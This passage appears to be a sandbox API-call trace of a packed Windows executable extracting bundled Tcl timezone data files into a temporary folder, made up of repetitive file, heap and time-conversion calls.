GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.168] CloseHandle (hObject=0x10c) returned 1 [0038.168] GetLastError () returned 0x0 [0038.168] SetLastError (dwErrCode=0x0) [0038.168] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.168] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.168] GetFileType (hFile=0x10c) returned 0x1 [0038.168] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.168] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.168] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.168] CloseHandle (hObject=0x10c) returned 1 [0038.168] GetLastError () returned 0x0 [0038.168] SetLastError (dwErrCode=0x0) [0038.168] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.168] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.168] GetFileType (hFile=0x10c) returned 0x1 [0038.169] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.169] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.169] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.169] CloseHandle (hObject=0x10c) returned 1 [0038.169] GetLastError () returned 0x0 [0038.169] SetLastError (dwErrCode=0x0) [0038.169] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Harare") returned 70 [0038.169] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Harare" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\harare"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.169] GetLastError () returned 0x2 [0038.169] SetLastError (dwErrCode=0x2) [0038.169] GetLastError () returned 0x2 [0038.169] SetLastError (dwErrCode=0x2) [0038.169] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Harare", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Harare", lpFilePart=0x0) returned 0x45 [0038.169] GetLastError () returned 0x2 [0038.169] SetLastError (dwErrCode=0x2) [0038.169] GetLastError () returned 0x2 [0038.169] SetLastError (dwErrCode=0x2) [0038.169] GetLastError () returned 0x2 [0038.169] SetLastError (dwErrCode=0x2) [0038.169] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Harare") returned 70 [0038.169] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.169] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Harare" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\harare"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.170] GetFileType (hFile=0x10c) returned 0x1 [0038.170] htonl (hostlong=0x8f000000) returned 0x8f [0038.170] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.170] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8f, lpOverlapped=0x0) returned 1 [0038.171] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.171] CloseHandle (hObject=0x10c) returned 1 [0038.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.172] htonl (hostlong=0x30000000) returned 0x30 [0038.172] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.172] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.172] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.172] GetFileType (hFile=0x10c) returned 0x1 [0038.172] htonl (hostlong=0xbc505800) returned 0x5850bc [0038.172] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d00bc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.172] htonl (hostlong=0xb8000000) returned 0xb8 [0038.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x55cfe0 [0038.172] htonl (hostlong=0xb8000000) returned 0xb8 [0038.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.172] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.172] htonl (hostlong=0x2a010000) returned 0x12a [0038.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x12a) returned 0x550600 [0038.172] htonl (hostlong=0xb8000000) returned 0xb8 [0038.172] htonl (hostlong=0x2a010000) returned 0x12a [0038.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.172] CloseHandle (hObject=0x10c) returned 1 [0038.172] GetLastError () returned 0x0 [0038.173] SetLastError (dwErrCode=0x0) [0038.173] GetLastError () returned 0x0 [0038.173] SetLastError (dwErrCode=0x0) [0038.173] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.173] GetFileType (hFile=0x10c) returned 0x1 [0038.173] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.173] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.173] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.174] CloseHandle (hObject=0x10c) returned 1 [0038.174] GetLastError () returned 0x0 [0038.174] SetLastError (dwErrCode=0x0) [0038.174] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.174] GetFileType (hFile=0x10c) returned 0x1 [0038.174] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.174] CloseHandle (hObject=0x10c) returned 1 [0038.174] GetLastError () returned 0x0 [0038.174] SetLastError (dwErrCode=0x0) [0038.174] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.174] GetFileType (hFile=0x10c) returned 0x1 [0038.174] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.175] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.175] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.175] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.175] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.175] CloseHandle (hObject=0x10c) returned 1 [0038.175] GetLastError () returned 0x0 [0038.175] SetLastError (dwErrCode=0x0) [0038.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Johannesburg") returned 76 [0038.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Johannesburg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\johannesburg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.175] GetLastError () returned 0x2 [0038.175] SetLastError (dwErrCode=0x2) [0038.175] GetLastError () returned 0x2 [0038.175] SetLastError (dwErrCode=0x2) [0038.175] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Johannesburg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Johannesburg", lpFilePart=0x0) returned 0x4b [0038.175] GetLastError () returned 0x2 [0038.175] SetLastError (dwErrCode=0x2) [0038.175] GetLastError () returned 0x2 [0038.175] SetLastError (dwErrCode=0x2) [0038.175] GetLastError () returned 0x2 [0038.175] SetLastError (dwErrCode=0x2) [0038.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Johannesburg") returned 76 [0038.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Johannesburg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\johannesburg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.176] GetFileType (hFile=0x10c) returned 0x1 [0038.176] htonl (hostlong=0x2a010000) returned 0x12a [0038.176] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.176] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x12a, lpOverlapped=0x0) returned 1 [0038.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.177] CloseHandle (hObject=0x10c) returned 1 [0038.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.177] htonl (hostlong=0x40000000) returned 0x40 [0038.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.178] GetFileType (hFile=0x10c) returned 0x1 [0038.178] htonl (hostlong=0x74515800) returned 0x585174 [0038.178] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0174, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.178] htonl (hostlong=0x46010000) returned 0x146 [0038.178] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x146) returned 0x550600 [0038.178] htonl (hostlong=0x46010000) returned 0x146 [0038.178] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.178] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.178] htonl (hostlong=0x23040000) returned 0x423 [0038.178] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x423) returned 0x550750 [0038.178] htonl (hostlong=0x46010000) returned 0x146 [0038.178] htonl (hostlong=0x23040000) returned 0x423 [0038.178] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.178] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.178] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.178] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.178] CloseHandle (hObject=0x10c) returned 1 [0038.178] GetLastError () returned 0x0 [0038.178] SetLastError (dwErrCode=0x0) [0038.178] GetLastError () returned 0x0 [0038.178] SetLastError (dwErrCode=0x0) [0038.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.179] GetFileType (hFile=0x10c) returned 0x1 [0038.179] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.179] CloseHandle (hObject=0x10c) returned 1 [0038.179] GetLastError () returned 0x0 [0038.179] SetLastError (dwErrCode=0x0) [0038.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.179] GetFileType (hFile=0x10c) returned 0x1 [0038.179] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: 